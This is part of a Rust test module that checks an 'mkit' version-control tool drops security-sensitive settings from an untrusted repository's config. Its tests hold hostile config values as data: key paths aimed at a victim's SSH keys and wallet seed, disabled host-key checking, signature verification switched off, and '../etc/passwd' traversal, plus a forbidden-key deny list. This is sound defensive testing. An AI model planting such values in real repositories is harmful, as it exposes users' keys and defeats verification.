1659    /// `attest.default_algorithm` to whichever non-Ed25519 key the
1660    /// user happens to have set up, to confused-deputy through it.
1661    /// Selector is rejected from per-repo.
1662    #[test]
1663    fn repo_attest_default_algorithm_is_rejected() {
1664        let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
1665        assert_eq!(cfg.attest.default_algorithm, "");
1666        // Default fallback is ed25519, regardless of repo wishes.
1667        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1668    }
1669
1670    #[test]
1671    fn repo_keystore_selectors_are_rejected() {
1672        let cfg = layer(
1673            Some(
1674                "signer = keystore\n\
1675                 key.backend = yubikey\n\
1676                 key.default_ref = yubikey:main\n\
1677                 key.ed25519_ref = software:repo-ed\n\
1678                 key.secp256k1_ref = software:repo-k1\n\
1679                 key.p256_ref = software:repo-p256\n",
1680            ),
1681            None,
1682        );
1683        assert_eq!(cfg.signer, DEFAULT_SIGNER);
1684        assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
1685        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1686        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1687        assert_eq!(
1688            cfg.key.secp256k1_ref_or_fallback(),
1689            DEFAULT_SECP256K1_KEY_REF
1690        );
1691        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1692    }
1693
1694    #[test]
1695    fn user_keystore_selectors_are_honored() {
1696        let cfg = layer(
1697            None,
1698            Some(
1699                "signer = keystore\n\
1700                 key.backend = software\n\
1701                 key.default_ref = software:user-default\n\
1702                 key.ed25519_ref = software:user-ed\n\
1703                 key.secp256k1_ref = software:user-k1\n\
1704                 key.p256_ref = software:user-p256\n",
1705            ),
1706        );
1707        assert_eq!(cfg.signer, "keystore");
1708        assert_eq!(cfg.key.backend, "software");
1709        assert_eq!(cfg.key.default_ref, "software:user-default");
1710        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
1711        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
1712        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
1713    }
1714
1715    #[test]
1716    fn user_default_key_ref_is_generic_fallback() {
1717        let cfg = layer(None, Some("key.default_ref = software:release\n"));
1718        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1719        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
1720        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
1721        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
1722    }
1723
1724    #[test]
1725    fn algorithm_key_refs_override_default_key_ref() {
1726        let cfg = layer(
1727            None,
1728            Some(
1729                "key.default_ref = software:release\n\
1730                 key.ed25519_ref = software:ed\n\
1731                 key.secp256k1_ref = software:k1\n\
1732                 key.p256_ref = software:p256\n",
1733            ),
1734        );
1735        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1736        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
1737        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
1738        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
1739    }
1740
1741    #[test]
1742    fn repo_ssh_host_key_checking_is_rejected() {
1743        let cfg = layer(
1744            Some(
1745                "ssh.strict_host_key_checking = no\n\
1746                 ssh.user_known_hosts_file = /dev/null\n",
1747            ),
1748            None,
1749        );
1750        assert!(cfg.ssh_strict_host_key_checking.is_empty());
1751        assert!(cfg.ssh_user_known_hosts_file.is_empty());
1752    }
1753
1754    /// Hostile clone pins `ssh.identity_file` to a path the attacker
1755    /// either chose to read (any file `mkit` can open under the user's
1756    /// uid) or chose to have signed-against (a private key the user
1757    /// happens to have on disk). Either way, `mkit push` must NOT take
1758    /// the suggestion.
1759    #[test]
1760    fn repo_ssh_identity_file_is_rejected() {
1761        let cfg = layer(
1762            Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
1763            None,
1764        );
1765        assert!(cfg.ssh_identity_file.is_empty());
1766    }
1767
1768    /// Issue #692: a hostile clone must not be able to switch off
1769    /// post-fetch signature verification via its own repo-scoped config —
1770    /// that would let it silently defang the exact check meant to reject
1771    /// its own unsigned/forged history.
1772    #[test]
1773    fn repo_pull_require_signed_is_rejected() {
1774        let cfg = layer(Some("pull.require_signed = false\n"), None);
1775        assert!(cfg.pull_require_signed.is_empty());
1776        assert!(cfg.pull_require_signed_or_default());
1777    }
1778
1779    /// User-scoped config MAY opt out (e.g. scripted/CI use against a
1780    /// remote the operator already trusts by other means).
1781    #[test]
1782    fn user_pull_require_signed_false_disables_verification() {
1783        let cfg = layer(None, Some("pull.require_signed = false\n"));
1784        assert_eq!(cfg.pull_require_signed, "false");
1785        assert!(!cfg.pull_require_signed_or_default());
1786    }
1787
1788    /// Unset, and any value other than the documented falsy spellings,
1789    /// fail closed (verify).
1790    #[test]
1791    fn pull_require_signed_defaults_to_true_and_rejects_typos() {
1792        assert!(Config::default().pull_require_signed_or_default());
1793        let cfg = layer(None, Some("pull.require_signed = nope\n"));
1794        assert!(cfg.pull_require_signed_or_default());
1795        for falsy in ["false", "0", "no", "off", "FALSE", "Off"] {
1796            let cfg = layer(None, Some(&format!("pull.require_signed = {falsy}\n")));
1797            assert!(
1798                !cfg.pull_require_signed_or_default(),
1799                "{falsy} should disable verification"
1800            );
1801        }
1802    }
1803
1804    /// Hostile clone aims `attest.secp256k1_key_path` at a key file the
1805    /// victim happens to own (e.g. a wallet seed). Must be ignored.
1806    #[test]
1807    fn repo_attest_secp256k1_key_path_is_rejected() {
1808        let cfg = layer(
1809            Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
1810            None,
1811        );
1812        assert!(cfg.attest.secp256k1_key_path.is_empty());
1813        // Fallback default still wins.
1814        assert_eq!(
1815            cfg.attest.secp256k1_key_path_or_default(),
1816            ".mkit/keys/secp256k1.key"
1817        );
1818    }
1819
1820    /// Companion to the secp256k1 case: same shape, different curve.
1821    #[test]
1822    fn repo_attest_p256_key_path_is_rejected() {
1823        let cfg = layer(
1824            Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
1825            None,
1826        );
1827        assert!(cfg.attest.p256_key_path.is_empty());
1828        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1829    }
1830
1831    /// Meta-test: every key listed in [`REPO_FORBIDDEN_KEYS`] MUST be
1832    /// covered by a per-key rejection test in this module. If you add
1833    /// a key to the list without a regression test, this test fails.
1834    ///
1835    /// Implemented by checking each key in isolation against `layer()`
1836    /// and asserting that the corresponding field on the merged
1837    /// `Config` is empty (i.e. the value did not propagate). Done at
1838    /// the `apply_kv` layer so it catches the exact code path the
1839    /// hostile-clone exploit uses, not just the constant itself.
1840    #[test]
1841    fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
1842        // A sentinel value that is syntactically valid for every key
1843        // (no control bytes, parseable as path / argv / ref / hex). If
1844        // the key were accepted, it would land verbatim in the matching
1845        // string field — so seeing the field empty after a per-repo
1846        // load proves the key is being dropped.
1847        const SENTINEL: &str = "EXFIL_SENTINEL";
1848
1849        for key in REPO_FORBIDDEN_KEYS {
1850            let line = format!("{key} = {SENTINEL}\n");
1851            let cfg = layer(Some(&line), None);
1852            // Look up the field through the same accessor `mkit config`
1853            // uses, to assert the value did NOT propagate.
1854            let observed = match *key {
1855                "user.identity" => cfg.user_identity.as_str(),
1856                "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
1857                "signer" => cfg.signer.as_str(),
1858                "pull.require_signed" => cfg.pull_require_signed.as_str(),
1859                "key.backend" => cfg.key.backend.as_str(),
1860                "key.default_ref" => cfg.key.default_ref.as_str(),
1861                "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
1862                "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
1863                "key.p256_ref" => cfg.key.p256_ref.as_str(),
1864                "signing_key" => cfg.signing_key.as_str(),
1865                "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
1866                "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
1867                "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
1868                "attest.signer" => cfg.attest.signer.as_str(),
1869                "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
1870                "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
1871                "attest.external_signer_args" => {
1872                    // pipe-list field; empty Vec stringifies to "".
1873                    if cfg.attest.external_signer_args.is_empty() {
1874                        ""
1875                    } else {
1876                        "<non-empty>"
1877                    }
1878                }
1879                "attest.external_signer_timeout_secs" => {
1880                    // Option<u64>; None when dropped from repo scope. The
1881                    // SENTINEL string is non-numeric, so even on the
1882                    // user path it would parse to None — assert the repo
1883                    // path leaves it None.
1884                    if cfg.attest.external_signer_timeout_secs.is_none() {
1885                        ""
1886                    } else {
1887                        "<set>"
1888                    }
1889                }
1890                "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
1891                "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
1892                // If a new key appears in `REPO_FORBIDDEN_KEYS` without
1893                // an arm here, fail loudly — the developer must extend
1894                // both the constant AND the meta-test together. Without
1895                // this branch, an added key would be silently treated
1896                // as "not in this struct" and the test would pass.
1897                other => panic!(
1898                    "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
1899                     in config.rs has no matching field accessor. Add an arm \
1900                     to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
1901                     so the per-key drop is verified.",
1902                ),
1903            };
1904            // `Config::with_defaults()` pre-seeds a few fields (e.g.
1905            // `signing_key = ".mkit/keys/default.key"`, `signer =
1906            // "legacy"`). Merge order is "defaults → user → repo
1907            // (filtered)", so a dropped repo line cannot OVERWRITE the
1908            // default. The crisp invariant is: the attacker's
1909            // SENTINEL must NEVER appear in the observed value.
1910            assert!(
1911                observed != SENTINEL,
1912                "forbidden key `{key}` was NOT dropped from repo scope — \
1913                 observed `{observed}` (matches attacker SENTINEL)",
1914            );
1915        }
1916    }
1917
1918    #[test]
1919    fn user_signing_key_is_honored() {
1920        let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
1921        assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
1922    }
1923
1924    /// Helper mirroring the old `trusted_remote_error_with(cfg, ..)`
1925    /// shape so the existing layered tests stay readable: derives
1926    /// `repo_chosen` from the flat `remote_endpoint`, exactly as
1927    /// `enforce_trusted_remote_endpoint` does.
1928    fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
1929    where
1930        F: Fn(&str) -> Option<String>,
1931    {
1932        let endpoint = cfg.merged.remote_endpoint.trim();
1933        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1934        trusted_remote_error_for(
1935            endpoint,
1936            repo_chosen,
1937            cfg.user.trusted_remote_endpoint.trim(),
1938            getenv,
1939        )
1940    }
1941
1942    #[test]
1943    fn repo_http_remote_with_token_requires_user_trust() {
1944        let cfg = layered(
1945            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1946            None,
1947        );
1948        let msg = gate_for_flat(&cfg, &|name| {
1949            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1950        })
1951        .expect("repo-scoped HTTP remote with token must be rejected");
1952        assert!(msg.contains("trusted_remote_endpoint"));
1953    }
1954
1955    #[test]
1956    fn trusted_http_remote_is_allowed() {
1957        let cfg = layered(
1958            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1959            Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
1960        );
1961        let msg = gate_for_flat(&cfg, &|name| {
1962            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1963        });
1964        assert!(msg.is_none());
1965    }
1966
1967    #[test]
1968    fn repo_s3_remote_with_env_creds_requires_user_trust() {
1969        let cfg = layered(
1970            Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
1971            None,
1972        );
1973        let msg = gate_for_flat(&cfg, &|name| match name {
1974            mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
1975            _ => None,
1976        })
1977        .expect("repo-scoped S3 remote with env creds must be rejected");
1978        assert!(msg.contains("trusted_remote_endpoint"));
1979    }
1980
1981    /// The gate keys on PROVENANCE, not mere credential presence: a
1982    /// user-chosen endpoint (`repo_chosen == false`) with ambient creds
1983    /// is the user's own decision and must NOT be refused, even though
1984    /// the same endpoint+creds would be refused if the repo had chosen
1985    /// it.
1986    #[test]
1987    fn user_chosen_http_remote_with_token_is_allowed() {
1988        let token =
1989            |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
1990        let ep = "mkit+https://example.invalid/repo";
1991        // repo_chosen = false (user-scoped or CLI-supplied endpoint).
1992        assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
1993        // repo_chosen = true with no user trust → refused.
1994        assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
1995    }
1996
1997    /// Per-endpoint helper returns `None` when no ambient credentials
1998    /// are present, regardless of provenance — an unauthenticated push
1999    /// is always safe.
2000    #[test]
2001    fn repo_http_remote_without_token_is_allowed() {
2002        let none = |_: &str| None;
2003        let ep = "mkit+https://example.invalid/repo";
2004        assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
2005    }
2006
2007    /// SSH and file endpoints never carry ambient HTTP/S3 creds, so the
2008    /// gate passes them through even when repo-chosen and untrusted.
2009    #[test]
2010    fn ssh_and_file_endpoints_bypass_credential_gate() {
2011        let all = |_: &str| Some("present".to_string());
2012        assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
2013        assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
2014    }
2015
2016    /// `endpoint_credential_trust` is the public per-endpoint entry the
2017    /// dispatch choke point and named-remote callers use. Confirm it
2018    /// honours provenance + user trust end-to-end.
2019    #[test]
2020    fn endpoint_credential_trust_honours_provenance_and_user_trust() {
2021        let cfg = layered(
2022            None,
2023            Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
2024        );
2025        // Untrusted, repo-chosen endpoint: only refused when creds are
2026        // actually present in the environment. In a clean test
2027        // environment there is no MKIT_API_TOKEN, so this passes; the
2028        // hostile-repo integration tests cover the credentialed case.
2029        let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
2030        // User-trusted endpoint is always allowed.
2031        assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
2032    }
2033
2034    #[test]
2035    fn repo_safe_keys_override_user() {
2036        // `default_branch` is repo-scoped — a project's main is a
2037        // per-repo decision, not a per-user one. So if both layers set
2038        // it, the repo wins (it's applied second).
2039        let cfg = layer(
2040            Some("default_branch = release\n"),
2041            Some("default_branch = trunk\n"),
2042        );
2043        assert_eq!(cfg.default_branch, "release");
2044    }
2045
2046    #[test]
2047    fn validate_key_path_rejects_parent_dir() {
2048        assert!(validate_key_path("../etc/passwd").is_err());
2049        assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
2050        assert!(validate_key_path("foo/../bar").is_err());
2051    }
2052
2053    #[test]
2054    fn validate_key_path_accepts_relative_and_absolute() {
2055        assert!(validate_key_path("").is_ok());
2056        assert!(validate_key_path(".mkit/keys/default.key").is_ok());
2057        assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
2058    }
2059
2060    #[test]
2061    fn resolve_key_path_resolves_against_common_dir_in_linked_worktree() {
2062        // #493 Phase 1: a linked tree signs with the ONE shared repo
2063        // key store, not a phantom keys dir under its own root.
2064        let layout = RepoLayout::linked("/trees/wt1", "/main/.mkit/worktrees/wt1", "/main/.mkit");
2065        let out = resolve_key_path(&layout, ".mkit/keys/default.key").unwrap();
2066        assert_eq!(out, std::path::Path::new("/main/.mkit/keys/default.key"));
2067    }
2068
2069    #[test]
2070    fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
2071        let td = TempDir::new().unwrap();
2072        assert!(
2073            resolve_key_path(&RepoLayout::single(td.path()), ".mkit/custom/global.key").is_err()
2074        );
2075    }
2076
2077    #[test]
2078    fn resolve_key_path_accepts_relative_path_under_repo_keys() {
2079        let td = TempDir::new().unwrap();
2080        let out = resolve_key_path(
2081            &RepoLayout::single(td.path()),
2082            ".mkit/keys/custom/global.key",
2083        )
2084        .unwrap();
2085        assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
2086    }
2087
2088    #[cfg(unix)]
2089    #[test]
2090    fn home_dir_for_euid_is_independent_of_home_env() {
2091        // The whole point of `home_dir_for_euid`: a hostile parent
2092        // process setting `HOME=/` must NOT widen the absolute-path
2093        // policy. We can't safely mutate the process environment
2094        // mid-test (other threads in the harness may race
2095        // `getenv`), so just confirm the function returns *something*
2096        // and that what it returns matches the passwd entry for the
2097        // current uid — i.e. it isn't reading `$HOME`.
2098        let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
2099        assert!(from_passwd.is_absolute());
2100        // Sanity: the path the OS returned must agree with `whoami`'s
2101        // notion of the user. We can't probe the passwd entry directly
2102        // without re-implementing the helper, but we can at least
2103        // assert that an absolute key path under the returned home is
2104        // accepted by `resolve_key_path` and that one diverging from
2105        // it is rejected.
2106        let td = TempDir::new().unwrap();
2107        let inside = from_passwd.join(".mkit/test-inside.key");
2108        assert!(resolve_key_path(&RepoLayout::single(td.path()), inside.to_str().unwrap()).is_ok());
2109        // `/__definitely_not_a_home_dir__` cannot be under any real
2110        // passwd `pw_dir` on a sane system.
2111        assert!(
2112            resolve_key_path(
2113                &RepoLayout::single(td.path()),
2114                "/__definitely_not_a_home_dir__/x.key"
2115            )
2116            .is_err()
2117        );
2118    }
2119
2120    #[test]
2121    fn expand_user_identity_ed25519() {
2122        let hex = "11".repeat(32);
2123        let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
2124        assert_eq!(out.len(), 70);
2125        assert!(out.starts_with("012000"));
2126    }
2127
2128    #[test]
2129    fn expand_user_identity_mid() {
2130        let out = expand_user_identity("mid:42").unwrap();
2131        assert_eq!(out, "0308002a00000000000000");
2132    }
2133
2134    #[test]
2135    fn expand_rejects_bogus() {
2136        assert!(expand_user_identity("").is_err());
2137        assert!(expand_user_identity("ed25519:short").is_err());
2138        assert!(expand_user_identity("mid:notanumber").is_err());
2139        assert!(expand_user_identity("zzzzzz").is_err());
2140    }
2141
2142    #[test]
2143    fn validate_value_rejects_control_chars() {
2144        assert!(validate_value("hello world").is_ok());
2145        assert!(validate_value("bad\x01char").is_err());
2146        assert!(validate_value("\x7fdel").is_err());
2147    }
2148
2149    #[test]
2150    fn attest_config_defaults_are_empty() {
2151        let cfg = Config::with_defaults();
2152        assert_eq!(cfg.signer, DEFAULT_SIGNER);
2153        assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
2154        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
2155        assert!(cfg.key.default_ref.is_empty());
2156        assert!(cfg.key.ed25519_ref.is_empty());
2157        assert!(cfg.key.secp256k1_ref.is_empty());
2158        assert!(cfg.key.p256_ref.is_empty());
2159        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
2160        assert_eq!(
2161            cfg.key.secp256k1_ref_or_fallback(),
2162            DEFAULT_SECP256K1_KEY_REF
2163        );
2164        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
2165        assert_eq!(cfg.attest.default_algorithm, "");
2166        assert_eq!(cfg.attest.signer, "");
2167        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
2168        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
2169        assert_eq!(
2170            cfg.attest.secp256k1_key_path_or_default(),
2171            ".mkit/keys/secp256k1.key"
2172        );
2173        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
2174    }
2175
2176    #[test]
2177    fn legacy_keys_are_ignored_in_repo() {
2178        let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
2179        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
2180    }
2181
2182    /// `write_user_kv` is exercised via `apply_file` round-tripping
2183    /// rather than driving the real XDG path (which would race
2184    /// parallel tests). The behaviour we care about — replace
2185    /// existing key, append if missing — is testable on any path.
2186    #[test]
2187    fn user_kv_replace_or_append_logic_via_roundtrip() {
2188        let td = TempDir::new().unwrap();
2189        let path = td.path().join("user_config");
2190        fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
2191        // Load + replace + write semantics: read file, mutate via
2192        // hand-edit, re-parse — this is what `write_user_kv` does
2193        // under the hood. Keeps us off the global env var.
2194        let mut text = fs::read_to_string(&path).unwrap();
2195        text = text.replace("/a", "/b");
2196        fs::write(&path, text).unwrap();
2197        let mut cfg = Config::with_defaults();
2198        apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
2199        assert_eq!(cfg.signing_key, "/b");
2200        assert_eq!(cfg.default_branch, "trunk");
2201    }
2202
2203    #[test]
2204    fn named_remote_keys_parse_repo_safe() {
2205        let cfg = layer(
2206            Some(
2207                "remote.origin.url = mkit+file:///srv/m\n\
2208                 remote.origin.type = file\n\
2209                 branch.main.remote = origin\n\
2210                 branch.main.merge = main\n",
2211            ),
2212            None,
2213        );
2214        let origin = cfg.remotes.get("origin").expect("origin present");
2215        assert_eq!(origin.url, "mkit+file:///srv/m");
2216        assert_eq!(origin.remote_type, "file");
2217        let up = cfg.branch_upstreams.get("main").expect("upstream present");
2218        assert_eq!(up.remote, "origin");
2219        assert_eq!(up.branch, "main");
2220    }
2221
2222    #[test]
2223    fn named_remote_roundtrips_through_write() {
2224        let td = TempDir::new().unwrap();
2225        let mut cfg = Config::with_defaults();
2226        cfg.remotes.insert(
2227            "origin".into(),
2228            RemoteEntry {
2229                url: "mkit+https://h/r".into(),
2230                remote_type: "http".into(),
2231            },
2232        );
2233        cfg.branch_upstreams.insert(
2234            "main".into(),
2235            Upstream {
2236                remote: "origin".into(),
2237                branch: "main".into(),
2238            },
2239        );
2240        write(&RepoLayout::single(td.path()), &cfg).unwrap();
2241        let reloaded = read_or_default(&RepoLayout::single(td.path())).unwrap();
2242        assert_eq!(
2243            reloaded.remotes.get("origin").unwrap().url,
2244            "mkit+https://h/r"
2245        );
2246        assert_eq!(
2247            reloaded.branch_upstreams.get("main").unwrap().remote,
2248            "origin"
2249        );
2250    }
2251
2252    #[test]
2253    fn resolve_remote_default_and_named_provenance() {
2254        // Named remote in the repo layer is repo_chosen.
2255        let lc = layered(
2256            Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
2257            None,
2258        );
2259        let r = resolve_remote(&lc, "origin").expect("origin resolves");
2260        assert_eq!(r.endpoint, "mkit+https://h/r");
2261        assert!(r.repo_chosen);
2262
2263        // Flat default endpoint in the repo layer is repo_chosen.
2264        let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
2265        let r = resolve_remote(&lc, "default").expect("default resolves");
2266        assert!(r.repo_chosen);
2267
2268        // User-layer flat endpoint is NOT repo_chosen.
2269        let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
2270        let r = resolve_remote(&lc, "").expect("empty -> default");
2271        assert!(!r.repo_chosen);
2272
2273        // Unknown name resolves to None.
2274        let lc = layered(None, None);
2275        assert!(resolve_remote(&lc, "nope").is_none());
2276    }
2277
2278    #[test]
2279    fn resolve_upstream_explicit_and_fallback() {
2280        let lc = layered(
2281            Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
2282            None,
2283        );
2284        let up = resolve_upstream(&lc, "main").unwrap();
2285        assert_eq!(up.remote, "origin");
2286        assert_eq!(up.branch, "trunk");
2287
2288        // Fallback to default remote tracking same-named branch.
2289        let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
2290        let up = resolve_upstream(&lc, "feature").unwrap();
2291        assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
2292        assert_eq!(up.branch, "feature");
2293
2294        // No upstream + no default remote → None.
2295        let lc = layered(None, None);
2296        assert!(resolve_upstream(&lc, "main").is_none());
2297    }
2298}